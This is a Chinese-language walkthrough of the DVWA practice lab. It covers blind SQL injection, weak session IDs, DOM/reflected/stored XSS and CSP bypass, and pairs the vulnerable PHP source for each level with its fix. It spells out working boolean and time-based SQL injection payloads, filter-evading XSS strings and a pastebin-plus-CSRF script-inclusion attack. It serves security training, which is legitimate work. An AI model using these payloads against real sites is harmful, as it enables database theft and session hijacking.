手工盲注过程完全只能通过返回的 "是" 和 "不是" 两个信息来判断,因此只能构造如 数据库名的第一字母是不是a?
等类似的只有 "是" 和 "不是" 答案的语句获得想要的信息,这类盲注称为 布尔盲注 。
而通过构造 数据库名的第一字母是a就等等
等通过时间函数延迟情况判断获得信息,这类盲注称为时间盲注。
盲注步骤:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解当前数据库名
- 猜解数据库中的表名
- 猜解表中的字段名
- 猜解数据
Low
源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
对 id 没有任何检查、过滤,返回给页面的结果也只有两种User ID exists in the database.
与 User ID is MISSING from the database.
存在盲注漏洞
漏洞利用
布尔盲注
- 判断是否存在注入,注入是字符型还是数字型
1
显示存在 >> 1' and 1=1 #
显示存在 >> 1' and 1=2
显示不存在 >> 存在字符型盲注
- 猜解当前数据库名
先猜解数据库名的长度,再猜解每一个字符
1' and length(database())=1 # 显示不存在
1' and length(database())=2 # 显示不存在
1' and length(database())=3 # 显示不存在
1' and length(database())=4 # 显示存在,说明数据库名长度为4
采用二分法猜解数据库名
1' and ascii(substr(database(),1,1))>97 # 显示存在,说明数据库名第一个字母的ascii值大于97
1' and ascii(substr(database(),1,1))<122 # 显示存在,说明数据库名第一个字母的ascii值小于122
1' and ascii(substr(database(),1,1))<109 # 显示存在,说明数据库名第一个字母的ascii值小于109
1' and ascii(substr(database(),1,1))<103 # 显示存在,说明数据库名第一个字母的ascii值小于103
1' and ascii(substr(database(),1,1))<100 # 显示不存在,说明数据库名第一个字母的ascii值不小于100
1' and ascii(substr(database(),1,1))>100 # 显示不存在,说明数据库名第一个字母的ascii值不大于100
依次猜解出其它数据库名的字母
- 猜解数据库中的表名
先猜解数据库表的数量
1' and (select count(table_name)from information_schema.tables where table_schema=database())=1 # 显示不存在
1' and (select count(table_name)from information_schema.tables where table_schema=database())=2 # 显示存在,说明数据库中有两个表
猜解表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的第一个字母为g
,同样步骤猜测出两个表名 goustbook , users
。
- 猜解表中的字段名
猜解表中的字段数
1' and (select count(column_name)from information_schema.columns where table_name='users')=1 # 显示不存在
...
1' and (select count(column_name)from information_schema.columns where table_name='users')=8 # 显示存在,说明users表中有8个字段
猜解字段名
1' and length(substr((select column_name from information_schema.columns where table_name='users' linit 0,1),1))=1 # 显示不存在
...
1' and length(substr((select column_name from information_schema.columns where table_name='users' linit 0,1),1))=7 # 显示存在,说明第一个字段为7个字符长度,然后采用二分法猜解出所有字段名
- 猜解数据
采用二分法依次猜解
时间盲注
- 判断是否存在注入,注入是字符型还是数字型
1' and sleep(5) # 有明显延迟
1 and sleep(5) # 没有延迟
说明存在字符型时间盲注
- 猜解当前数据库名
猜解数据库名长度
1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 有延迟,说明数据库长度为4字符
二分法猜解数据库名
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 明显延迟
...
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) # 没有延迟
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 没有延迟
说明数据库名的第一个字符为 d
,同样步骤依次猜解其他字母。
- 猜解数据库中的表名
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1) # 没有延迟
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1) # 有延迟
说明有两个表,接着猜解表名
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
...
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 有延迟
说明第一个表名长度为9个字符,采用二分法猜解表名
- 猜解表中的字段名
猜解表中字段的数量
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1) # 没有延迟
...
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1) # 有延迟
说明users表中有8个字段,接着猜解字段名
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1,sleep(5),1) # 没有延迟
...
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明 users 表的第一个字段长度为7字符,采用二分法即可猜解出各字段名
- 猜解数据
同样使用二分法
Medium
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
加入 mysqli_real_escape_string
函数对特殊字符 \x00,\n,\r,',",\x1a
进行转义,同时前端使用下拉表单控制用户的输入。
漏洞利用
前端虽然控制了输入,但可利用抓包的方式来进行修改,一样能达到效果,流程同 Low 级别。
High
源码
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
利用cookie传递参数id,查询结果为空时,会执行函数 sleep(seconds)
目的是为了扰乱时间盲注,同时在 SQL 查询语句中加入 limit 1
控制只输出;一个结果。
漏洞利用
虽然加入 limit 1
但仍可通过 #
将其注释掉,由于服务器端执行 sleep
函数会使时间注入的准确性受影响,可利用布尔注入达到目的。利用抓包改包的方式进行
Impossible
源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,加入Anti-CSRF token
机制提供了安全性
Weak Session IDs (弱会话ID)
SessionID 会话ID,通常用于标识已登录的用户,证明用户在会话中的身份。
Cookie 用于标识客户端的用户身份,通常是勾选下次自动登录
后保存在用户端的身份证明凭证,在 Cookie 过期前,用户不必输入用户名和密码就能登录。
说白了就是 Cookie
盗用,一般都是和 XSS 一起使用。
Low
源码
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
每次生成的 session_id
加1发给客户端
漏洞利用
Generate
>> Burp Suite Pro 抓包 >> Cookie: PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low
>> Action
>> Send to Response
>> Response
>> Go
>> Request
请求一次 Response
中 Set-Cookie: dvwaSession
的值就 加1
Burp Suite Pro 将刚才拦截的数据包放行 >> Generate
>> 再次抓包 >> Cookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low
前面请求了几次这里的 dvwaSession
就变成了多少。 >> 且每次请求只改变 dvwaSession
其他值不发生改变 >> 复制 Cookie
值 Cookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low
>> 换火狐浏览器(本身就是火狐则 Cookie
等数据,谷歌浏览器可能不成功) >> 输入网址 http://dvwa.local/vulnerabilities/weak_id/
使用插件 hackbar
修改 Cookie
值然后访问,没输入用户名密码就直接进来了,甚至不用 dvwaSession
也能访问。
Medium
源码
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
使用当前时间的时间戳作为SessionID
漏洞利用
和自增1没区别,说白了就是从 Unix 纪元 (January 1 1970 00:00:00 GMT) 到现在的秒数,就是一秒一秒的自增,可利用时间戳查询工具伪造。Unix时间戳工具
High
源码
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
使用 setcookie(name,value,expire,path,domain,secure,httponly)
函数定义 Cookie ,name
必要,cookie 名称,value
必要,cookie 值,expire
cookie 有效期,path
cookie 服务器路径,domain
cookie 域名,secure
是否通过 HTTPS 连接传输 cookie ,httponly
cookie 是否仅通过 HTTP 协议访问
使用 MD5 值将生成的 session_id
进行加密,使无法直接推测出 SessionID
漏洞利用
使用 Burp Suite Pro 的 Response
进行重复请求,通过返回的 Set-Cookie
都是无规则的字符串,推测是 MD5 加密的值,使用 MD5 解密得到了数字,说白了就是将 Low 级别基础上添加了一个 MD5 加密,使用 MD5 工具就能伪造。
Impossible
源码
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
随机数 + 随机数 + 固定字符串 Impossible
再进行 sha1 运算
XSS(DOM) (DOM Based Cross Site Scripting ,DOM型跨站脚本攻击)
DOM 是与平台、编程语言无关的接口,它允许程序或脚本动态访问和更新文档内容、结构和样式,处理结果能成为页面显示的一部分。DOM 中有很多对象,其中一些是用户可以操作的(如 URI , location , refelTer
d等)。客户端脚本程序可通过 DOM 动态检查修改页面内容,不依赖于提交数据到服务端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格检查,就会产生 DOM-based XSS漏洞。
可能触发 DOM 型 XSS 的属性:
document.referer
window.name
location
innerHTML
document.write
document
表一个文档对象, window
表一个窗口对象,一个窗口下可有多个文档对象。所有一个窗口下只有一个 window.location.href
,却可能有多个 document.URL
、document.location.href
document.URL
取值等价于 window.location.href
或 document.location.href
,某些浏览器中可通过对 document.URL
赋值实现页面跳转,但某些浏览器不行。
该实验尽量选择使用火狐浏览器进行,火狐没有 XSS 过滤
indexOf(searchvalue,fromindex)
方法可返回指定字符串值在字符串首次出现的位置。searchvalue
必需,需检索的字符串值;fromindex
可选整数参数,规定字符串开始检索的位置,取值为0~stringObject.length-1
若省略该参数,将从首字符开始检索。indexOf()
对大小写敏感,若未检索到字符串值,返回为-1
。
substring(start,stop)
方法用于提取字符串中介于两个指定下标间的字符。start
必需,一个非负整数,规定提取字符的第一个字符在stringObject
中的位置;stop
可选,一个非负整数,需要提取字符串最后一个字符的后一位,若省略该参数,将提取到结尾。
document.write
是JavaScript
中对document.open
所开启的文档流document.stream
操作的 API 方法,它能直接在文档流中写入字符串,一旦文档流已经关闭,那document.write
就会重新利用document.open
打开新的文档流并写入,此时原来的文档流就会被清空,已渲染好的页面就会被清除,浏览器将重新构建 DOM 并渲染新页面。
Low
源码
<?php
# No protections, anything goes
# 没有任何防护措施
?>
漏洞利用
English
,Select
>> URL 发现 default
参数值为 English
>> 构造URL http://dvwa.local/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>
>> 访问后 js 代码 alert
被执行,弹框显示了构造的内容。 >> F12 可查看到脚本内容
Medium
源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
array_key_exists(key,array)
检查某数组中是否存在指定的键,若键存在返回 true
不存在返回 false
。 key
必需,指定键名;array
必需,指定数组。
stripos(string,find,start)
查找字符串在另一字符串中第一次出现的位置,返回字符串第一次出现的位置,若未找到字符串则返回 false
。string
必需,指定被搜索的字符串; find
必需,指定要查找的字符串;start
可选,指定开始搜索的位置。
header(string,replace,http_response_code)
向客户端发送原始 HTTP 报头。string
必需,指定要发送的报头字符串;replace
可选,指定该报头是否替换之前的报头,或添加第二个报头,默认替换(true) ,也可允许相同类型的多个报头(false);http_response_code
可选,把 HTTP 响应代码强制为指定值(PHP 4 及更高版本)。
对 default
变量进行过滤,通过 stripos()
查找<script
字符串在default
变量值中第一次出现的位置(不区分大小写),如果匹配就通过 location
将 URL 参数修正为 ?default=English
漏洞利用
过滤了 script
可使用其他标签达到效果。
- 使用
</option>
和</select>
闭合后使用img
标签弹框。
?default=English</option></select><img src=x onerror=alert('XSS')>
- 直接利用
input
弹框
?default=English<input onclick=alert('XSS') />
High
源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
使用了白名单模式,如果 default
的值不是白名单内的值就重置 URL 为 ?default=English
漏洞利用
只对 default
变量进行了过滤
- 可使用
&
连接另一个自定义变量绕过
?default=English&a=</option></select><img src=x onerror=alert('XSS')>
?default=English&a=<input onclick=alert('XSS') />
- 使用
#
绕过
?default=English#</option></select><img src=x onerror=alert('XSS')>
?default=English#<input onclick=alert('XSS') />
Impossible
源码
<?php
# Don't need to do anything, protction handled on the client side
# 无需对客户端进行任何处理和保护
?>
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
直接不对输入参数进行 URL 解码了,这样会导致标签实效,从而无法 XSS
XSS (Reflected) (Reflected Cross Site Scripting,反射型 XSS)
Low
源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
变量 name
为做任何过滤,只是检查是否为空。
漏洞利用
<script>alert('XSS')</script>
Medium
源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
简单的过滤了 <script>
标签,由于通过正则匹配将检测到的敏感字符替换为空(删除)可使用嵌套和大小写转换绕过,也可使用其他标签绕过。
漏洞利用
<s<script>cript>alert('XSS')</script>
<Script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
High
源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
正则过滤表更加完善,不区大小写,并通过通配符匹配,使嵌套构造当方式也不能成功,但还有其他很多标签可达到弹框效果。
漏洞利用
<img src=x onerror=alert('XSS')>
Impossible
源码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
XSS (Stored) (Stored Cross Site Scripting,存储型 XSS)
Low
源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
trim(string,charlist)
移除字符串两侧的指定字符。string
必需,指定要检查的字符串;charlist
可选,指定从字符串中删除的字符,若干未指定,则移除 \0(null) , \t(制表符) , \n(换行) , \x0B(垂直制表符) , \r(回车) , 空格
stripslashes(string)
去除字符串的反斜杠,可用于清理从数据库中或从 HTML 表单中取回的数据。
mysqli_real_escape_string(string,connection)
转义 SQL 语句中使用的字符串中的特殊字符。string
必需,指定要转义的字符串;connection
可选,指定 MySQL 连接,若未指定,则使用上一个连接;将会转义的字符 \x00 , \n , \r , \ , ' , " , \xla
这些函数都只对数据库进行了防护,却没有考虑到对 XSS 进行过滤
漏洞利用
Name: xsstest
Message: <script>alert('XSS')</script>
到数据库中查询 select * from guestook;
提交的结果被插入到了数据库中
测试完成后为了不影响下面的测试,检验手动删除数据库中的记录。
Medium
源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
addslashes(string)
返回在预定字符之前添加反斜杠的字符串。预定字符: ' , " , \ , null
strip_tags(string,allow)
剔去字符串中 HTML 、 XML 以及 PHP 的标签。 string
必需,指定检查的字符串;allow
可选,规定不被删除的标签。
htmlspecialchars(string,flags,character-det,double_encode)
包预定字符转换为 HTML 实体,预定字符: & , ' , " , < , >
message
变量几乎把所有的 XSS 都过滤了,但 name 只过滤了 <script>
标签而已,我们依然可在 name
参数尝试使用其他标签来触发弹框。
漏洞利用
name
的 input 输入文本框限制了长度,可通过审查元素手动将 maxlength
的值调大。
<input name="txtName" type="text" size="30" maxlength="50" type="text">
使用嵌套或大小写变化绕过
Name: <scr<script>ipt>alert('XSS')</script>
Name: <Script>alert('XSS')</script>
使用其他标签弹框
Name: <img src=x onerror=alert('XSS')>
Message: testxss
High
源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
message
变量依然没有希望,name
变量只加强过滤 script
标签,依然可使用其他标签绕过
漏洞利用
Name: <img src=a onerror=alert('XSS')>
Message: testxss
Impossible
源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
message
和 name
变量都进行了严格的过滤,且还检测了用户的 token,有效的防止了 CSRF 的攻击。
CSP Bypass (Content Security Policy Bypass,内容安全策略绕过)
CSP 是一种白名单制度,实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性,攻击者发现漏洞,也没法注入脚本,除非控制了一台例如了白名单的可信主机。
Low
源码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
白名单:
self
https://pastebin.com
example.com
code.jquer.com
https://ssl.google-analytics.com
pastebin.com
是一个快速分享文本内容的网站,内容可控,可以在里面插入 XSS 攻击语句 alert(document.cookie)
。
漏洞利用
在 http://pastebin.com'
中创建内容为 alert('XSS');
的分享,生成 https://pastebin.com/FY6tnzuS
,通过 https://pastebin.com/raw/FY6tnzuS
可访问内容。
在文本框中输入 https://pastebin.com/raw/FY6tnzuS
点击 include
即可将文件包含进去,从而触发 XSS。通过查看浏览器源代码可发现被嵌入了 XSS : <script src='https://pastebin.com/raw/FY6tnzuS'></script>
可配合 CSRF 使攻击自动化,创建 csrf.html
放到网站服务器上,设法让受害者访问就会触发。
<form method="POST" action="http://dvwa.local/vulnerabilities/csp/" id="csp">
<input type="text" name="include" value="">
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/FY6tnzuS";
form.submit();
</script>
Medium
源码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
script-src
的合法来源发生了变化:
unsafe-inline
: 允许执行页面内嵌的<script>
标签和事件监听函数unsafe-eval
: 允许将字符串当作代码执行,如eval
、setTimeout
、setInterval
和Function
等函数nonce
: 每次 HTTP 回应给出一个授权token
,页面内嵌脚本必须有这个token
,才会执行hash
: 列出允许执行的脚本代码的 Hash 值,页面内嵌脚本的哈希值只有吻合才执行。
使用了 unsafe-inline
和 nonce
所以页面内嵌脚本必须要有 token
才能被执行
漏洞利用
直接输入:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
High
源码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
CSP 规则十分苛刻,只能引用允许 self
的脚本执行, self
是指本页面加载的脚本,也就是 source/high.js
这个脚本。
页面提示调用 ../. // vulnerability /csp/source/jsonp.php
来加载一些代码。
审查元素关键代码在<input type="button" id="solve" value="Solve the sum" />
>> id="solve"
对应的代码在 JS 中 >> 触发 JS 中的 clickButton
函数,该函数会创建一个 script
标签 <script src="http://dvwa.local/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>
